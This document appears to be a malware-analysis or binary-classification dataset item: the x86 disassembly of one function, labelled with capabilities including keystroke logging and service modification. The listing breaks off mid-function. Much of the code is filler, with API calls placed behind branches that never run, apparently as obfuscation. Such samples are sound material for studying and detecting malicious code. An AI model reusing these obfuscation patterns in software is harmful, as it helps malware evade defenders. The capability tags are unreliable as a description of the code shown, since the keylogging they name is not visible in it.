Function at 0x1001c2b2
Capabilities:
Accept command line arguments
Check os version
Create directory
Create process on windows
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get graphical window text
Get keyboard layout
Identify system language via api
Log keystrokes via polling
Modify service
Start service
Suspend thread

Disassembly:
mov eax, 0x1008add0
call fcn.10089d40
mov eax, 0x148c
call fcn.10086270
push ebx
push esi
push edi
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0xa30]
mov dword [ebp - 0x3c], 0x2db5
push 2
mov byte [ebp - 0x65], dl
call fcn.1001a32c
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1001c310
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa30]
call fcn.1001a399
mov dword [eax], 0x9e57ad95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1001c2f1
xor eax, eax
push eax
lea ecx, [ebp - 0xa30]
call fcn.1001a399
mov ecx, dword [ebp - 0x3c]
mov esi, 0x1f66
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001c346
push esi
push eax
push eax
push eax
push eax
call ebx
push eax
call edi
or eax, 0xffffffff
lea ecx, [ebp - 0xa30]
mov dword [ebp - 4], eax
call fcn.1001a394
mov dword [ebp - 0x3c], 0x2db5
lea ecx, [ebp - 0xc64]
push 2
call fcn.1001a32c
xor eax, eax
inc eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1001c39b
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc64]
call fcn.1001a399
mov dword [eax], 0x9e57ad95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1001c37c
xor eax, eax
push eax
lea ecx, [ebp - 0xc64]
call fcn.1001a399
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001c3c0
push esi
push eax
push eax
push eax
push eax
call ebx
push eax
call edi
or eax, 0xffffffff
lea ecx, [ebp - 0xc64]
mov dword [ebp - 4], eax
call fcn.1001a394
push 2
pop ecx
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1001c3f8
or edx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11c0], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1001c3e4
xor eax, eax
xor edx, edx
inc edx
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x1001c4a2
or edi, 0xffffffff
push 3
lea ecx, [ebp - 0xa54]
call fcn.1001a32c
mov dword [ebp - 4], 2
xor eax, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], eax
jmp 0x1001c435
push dword [ebp - 0x10]
call fcn.1001a399
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0xa54]
jl 0x1001c428
push 2
call fcn.1001a399
inc dword [eax]
xor eax, eax
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], eax
jl 0x1001c483
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001c46a
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001c47e
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1001c458
lea ecx, [ebp - 0xa54]
mov dword [ebp - 4], edi
call fcn.1001a394
dec dword [ebp - 0x24]
jns 0x1001c40a
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov dword [ebp - 0x24], 0xe
jmp 0x1001c4ca
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001c4c7
push 0x16d8
push 0x1993
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x12
jge 0x1001c4ab
mov dword [ebp - 0x10], 0x632667a8
lea ecx, [ebp - 0x5c8]
push 3
call fcn.1001a32c
xor eax, eax
push 3
inc eax
pop ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x38], eax
or eax, 0xffffffff
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x20], 0xb42b08f1
mov dword [ebp - 0x24], 0x30fb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1001c53b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x5c8]
call fcn.1001a399
mov dword [eax], 0xdc164f94
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001c51c
xor eax, eax
xor edx, edx
inc edx
cmp dword [ebp - 0x10], edx
jbe 0x1001c6e8
push 2
mov dword [ebp - 0x44], 0xba80
lea ecx, [ebp - 0xbbc]
pop edi
mov dword [ebp - 0x38], 0xf314
or eax, 0xffffffff
mov dword [ebp - 0x48], 0x3d9c8c74
mov dword [ebp - 0x38], eax
push edi
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1001c59d
push dword [ebp - 0x10]
lea ecx, [ebp - 0xbbc]
call fcn.1001a399
mov dword [eax], 0xe495ee35
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1001c57f
xor eax, eax
push 3
xor ebx, ebx
mov dword [ebp - 0x10], 0x11
pop esi
inc ebx
cmp dword [ebp - 0x10], esi
jl 0x1001c654
jmp 0x1001c5b7
xor eax, eax
mov dword [ebp - 0x48], esi
lea ecx, [ebp - 0xf78]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0x7b400765
mov dword [ebp - 0x38], eax
push edi
call fcn.1001a32c
push 5
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], eax
jmp 0x1001c5fa
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf78]
call fcn.1001a399
mov dword [eax], 0xfeb4e522
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001c5e3
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
imul eax, eax, 0x5eb2
add eax, dword [ebp - 0x48]
jne 0x1001c61e
cmp dword [ebp - 0x3c], eax
je 0x1001c620
mov eax, ebx
add eax, 0xffff161b
lea ecx, [ebp - 0xf78]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xbc795c38
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x50]
mov byte [ebp - 4], 4
call fcn.1001a394
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jge 0x1001c5b5
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0xbbc]
push ebx
call fcn.1001a399
mov dword [eax], esi
test esi, esi
je 0x1001c66c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x5c8]
mov dword [ebp - 0x48], 0x709c1800
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
push edi
call fcn.1001a399
push ebx
lea ecx, [ebp - 0x5c8]
mov esi, eax
call fcn.1001a399
push 2
lea ecx, [ebp - 0x5c8]
mov edi, dword [eax]
imul edi, dword [esi]
call fcn.1001a399
xor ebx, ebx
lea ecx, [ebp - 0x5c8]
cmp edi, dword [eax]
setge bl
xor eax, eax
inc eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0xbbc]
setg dl
mov dword [eax], edx
call fcn.1001a394
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esi, 0x1f66
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
jmp 0x1001c702
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001c702
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
or eax, 0xffffffff
lea ecx, [ebp - 0x5c8]
mov dword [ebp - 4], eax
call fcn.1001a394
mov dword [ebp - 0x3c], 0x2db5
lea ecx, [ebp - 0xa6c]
push 2
call fcn.1001a32c
xor eax, eax
mov dword [ebp - 4], 6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1001c758
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa6c]
call fcn.1001a399
mov dword [eax], 0x9e57ad95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1001c739
xor eax, eax
push eax
lea ecx, [ebp - 0xa6c]
call fcn.1001a399
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001c77d
push esi
push eax
push eax
push eax
push eax
call ebx
push eax
call edi
or esi, 0xffffffff
lea ecx, [ebp - 0xa6c]
mov dword [ebp - 4], esi
call fcn.1001a394
xor eax, eax
lea ecx, [ebp - 0x774]
mov dword [ebp - 0x2c], eax
xor ebx, ebx
mov eax, 0x66bafcb1
inc ebx
mov dword [ebp - 0x87c], eax
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x870], eax
push ebx
call fcn.1001a32c
push 7
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x1001c7e9
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x12a0], 0xf3617394
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x1001c7d0
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1001c80b
push dword [ebp - 0x30]
lea ecx, [ebp - 0x774]
call fcn.1001a399
mov dword [eax], esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1001c7f1
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1001c82d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x13cc], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1001c814
xor eax, eax
mov esi, ebx
cmp dword [ebp - 0x2c], eax
jne 0x1001c836
mov esi, eax
mov edx, 0xa0b8
mov dword [ebp - 0x878], edx
mov dword [ebp - 0x129c], edx
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
add eax, edx
inc ecx
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0x774]
setl bl
xor eax, eax
push eax
call fcn.1001a399
xor edx, edx
lea ecx, [ebx + 6]
push 7
mov dword [eax], ebx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setl dl
xor eax, eax
cmp esi, edx
setl al
mov dword [ebp - 0x2c], eax
pop eax
mov dword [ebp - 0x2c], eax
jmp 0x1001c9ba
xor ebx, ebx
mov dword [ebp - 0x18], 0x2b90f998
mov dword [ebp - 0x18], 0x18
inc ebx
cmp dword [ebp - 0x18], 0xfffffff9
jle 0x1001c94c
push ebx
lea ecx, [ebp - 0x634]
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1001c8e3
push dword [ebp - 0x10]
lea ecx, [ebp - 0x634]
call fcn.1001a399
mov dword [eax], 0x42206dd2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1001c8c5
xor eax, eax
push eax
lea ecx, [ebp - 0x634]
call fcn.1001a399
mov dword [eax], 0xf
jmp 0x1001c920
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001c912
push ebx
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
xor eax, eax
push eax
lea ecx, [ebp - 0x634]
call fcn.1001a399
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x634]
push eax
call fcn.1001a399
cmp dword [eax], 0xd
jl 0x1001c8f7
push 7
pop eax
lea ecx, [ebp - 0x634]
mov byte [ebp - 4], al
call fcn.1001a394
dec dword [ebp - 0x18]
jmp 0x1001c8a1
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1001c978
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, dword [ebp - 0x878]
je 0x1001c972
cmp dword [ebp - 0x874], eax
je 0x1001c976
mov esi, ebx
jmp 0x1001c97a
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x774]
call fcn.1001a399
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, esi
lea ecx, [ebp - 0x774]
setle dl
xor ebx, ebx
cmp dword [eax], edx
setle bl
xor eax, eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x2c]
add ecx, 0x66409095
add ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1001c890
or ebx, 0xffffffff
lea ecx, [ebp - 0x774]
mov dword [ebp - 4], ebx
call fcn.1001a394
push 2
pop esi
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1001c9f9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11d0], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001c9e5
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1001ca9b
or ebx, 0xffffffff
push 3
lea ecx, [ebp - 0xcc4]
call fcn.1001a32c
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], eax
jmp 0x1001ca36
push dword [ebp - 0x10]
call fcn.1001a399
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0xcc4]
jl 0x1001ca29
push esi
call fcn.1001a399
inc dword [eax]
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1001ca7f
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001ca66
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001ca7a
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1001ca54
lea ecx, [ebp - 0xcc4]
mov dword [ebp - 4], ebx
call fcn.1001a394
dec dword [ebp - 0x24]
jns 0x1001ca0b
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], 0xe
jmp 0x1001cac3
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001cac0
push 0x16d8
push 0x1993
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x12
jge 0x1001caa4
mov dword [ebp - 0x1c], 0x5031
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x20], 0xfdadf860
mov dword [ebp - 0x3c], 0x506ed55c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1001cb04
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe68], 0xc178
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1001caec
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001cb15
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ebx, ebx
cmp edx, 0x9c8d
setl bl
sub ebx, 0xfffffff8
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setne cl
neg ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
xor ebx, ebx
mov dword [ebp - 0x20], ecx
inc ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, ebx
setle cl
add ecx, dword [ebp - 0x1c]
jne 0x1001cb79
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1001cb83
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
je 0x1001cba1
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1001cba3
mov eax, dword [ebp - 0x10]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001cbb5
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], 0x643cdf98
mov dword [ebp - 0x10], 0xa149cec7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1001cbe5
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11e0], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001cbd1
xor eax, eax
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0x672ca3c0
mov eax, dword [ebp - 0x44]
setge cl
sub eax, ecx
cmp dword [ebp - 0x20], eax
jne 0x1001cc24
xor eax, eax
mov dword [ebp - 0x10], 0x371247ad
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001cc36
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x1001cc34
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001cc34
call dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
mov dword [ebp - 0x10], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x10], 3
jge 0x1001cc57
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7fc], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1001cc42
xor eax, eax
mov dword [ebp - 0x7f4], eax
jmp 0x1001cc6d
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
jne 0x1001cc76
inc dword [ebp - 0x7f4]
cmp dword [ebp - 0x7f4], 0x14
jle 0x1001cc5f
mov dword [ebp - 0x50], 0x2db5
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x10], 0x8cafa32f
mov dword [ebp - 0x28], 0x478c38ec
mov dword [ebp - 0x20], 0xfffffff6
push ebx
call fcn.1001a32c
xor eax, eax
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1001ccc7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x204], 0x3df603fa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001ccaf
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1001cce9
push dword [ebp - 0x18]
lea ecx, [ebp - 0x58c]
call fcn.1001a399
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1001cccf
xor eax, eax
cmp dword [ebp - 0x200], eax
je 0x1001cd41
cmp dword [ebp - 0x204], eax
jne 0x1001cd3d
mov dword [ebp - 0x10], 0x3672
mov ecx, dword [ebp - 0x200]
mov eax, dword [ebp - 0x10]
imul ecx, eax
mov eax, dword [ebp - 0x204]
sub ecx, eax
jne 0x1001cd1d
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1001cd1f
mov eax, ebx
add dword [ebp - 0x200], eax
xor edx, edx
mov ecx, dword [ebp - 0x200]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setne dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
xor eax, eax
mov esi, ebx
jmp 0x1001cd43
mov esi, eax
push eax
lea ecx, [ebp - 0x58c]
call fcn.1001a399
mov eax, dword [eax]
imul eax, esi
test eax, eax
je 0x1001cd73
xor eax, eax
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x3c], eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
jmp 0x1001ce07
xor eax, eax
mov dword [ebp - 0x44], 0x6d5d64f6
mov dword [ebp - 0x28], eax
jmp 0x1001cdfe
push dword [ebp - 0x28]
lea ecx, [ebp - 0x58c]
call fcn.1001a399
mov ecx, dword [ebp - 0x28]
cmp dword [eax], ecx
jle 0x1001cdd3
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1001cdc4
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001cdaf
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001cdc1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x1001cd9d
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
xor eax, eax
jmp 0x1001cdfb
xor eax, eax
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x28]
call fcn.1001a399
mov eax, dword [eax]
add eax, 0x4d4b
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1001cd81
or eax, 0xffffffff
lea ecx, [ebp - 0x58c]
mov dword [ebp - 4], eax
call fcn.1001a394
push 2
pop esi
push esi
lea ecx, [ebp - 0xc7c]
call fcn.1001a32c
push 4
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 4], 0xb
call fcn.1001a32c
mov byte [ebp - 4], 0xc
or eax, 0xffffffff
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1001ce64
push dword [ebp - 0x10]
call fcn.1001a399
mov dword [eax], 0x6f5020f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
lea ecx, [ebp - 0x3ac]
jl 0x1001ce53
push esi
call fcn.1001a399
cmp dword [eax], 0
jle 0x1001d015
xor eax, eax
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 4
push esi
call fcn.1001a399
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x3ac]
setl bl
xor eax, eax
inc eax
push eax
call fcn.1001a399
xor ecx, ecx
push 3
cmp ebx, dword [eax]
pop ebx
setge cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jle 0x1001cf4e
xor ebx, ebx
inc ebx
mov dword [ebp - 0x3c], 0x96d402da
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0xb
call fcn.1001a394
mov dword [ebp - 0x1c], 0x7a66fe7d
lea ecx, [ebp - 0xa84]
push ebx
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1001cf26
or edi, 0xffffffff
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa84]
call fcn.1001a399
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1001cf08
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xa84]
mov dword [ebp - 0x1c], eax
xor eax, eax
push eax
call fcn.1001a399
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1001d05f
push 3
xor eax, eax
pop ebx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x3ac]
push dword [ebp - 0x24]
call fcn.1001a399
cmp dword [eax], 0
je 0x1001d00a
push 7
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001cf8f
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1001cfed
mov dword [ebp - 0x10], 0xe9e84363
mov dword [ebp - 0x10], eax
jmp 0x1001cfe5
mov dword [ebp - 0x18], 0xdf628589
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x1001cfe2
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3ac]
call fcn.1001a399
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3ac]
mov esi, eax
call fcn.1001a399
mov ecx, dword [esi]
mov dword [eax], ecx
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1001cfe0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1001cfaf
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x1001cfa0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1001cf94
xor ebx, ebx
inc ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1001cf49
push 2
pop esi
jmp 0x1001cece
xor ebx, ebx
inc ebx
mov dword [ebp - 0x48], ebx
inc dword [ebp - 0x48]
jmp 0x1001cff5
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
jmp 0x1001cece
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001d05c
push eax
push 0x27a
push 0x1176
push 0x5b1
push 0x1727
push 0x471
push 0x565
push 0x165d
push 0x9f6
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1001d020
lea ecx, [ebp - 0xa84]
mov byte [ebp - 4], 0xb
call fcn.1001a394
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1001d091
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc7c]
call fcn.1001a399
mov dword [eax], 0x9e57ad95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001d07a
push esi
lea ecx, [ebp - 0x32c]
call fcn.1001a32c
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x44], 0x14c5530c
mov dword [ebp - 0x3c], 0x21029358
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1001d0dc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1b8], 0xe0648261
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001d0c4
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1001d102
push dword [ebp - 0x18]
lea ecx, [ebp - 0x32c]
call fcn.1001a399
mov dword [eax], 0x46df37d4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001d0e4
xor eax, eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xffffffe7
jle 0x1001d2f6
or edi, 0xffffffff
mov dword [ebp - 0x18], 0x2887cf2e
mov dword [ebp - 0x10], 0xccaea0a9
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x1001d2cc
push 3
lea ecx, [ebp - 0x460]
call fcn.1001a32c
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1001d170
push dword [ebp - 0x10]
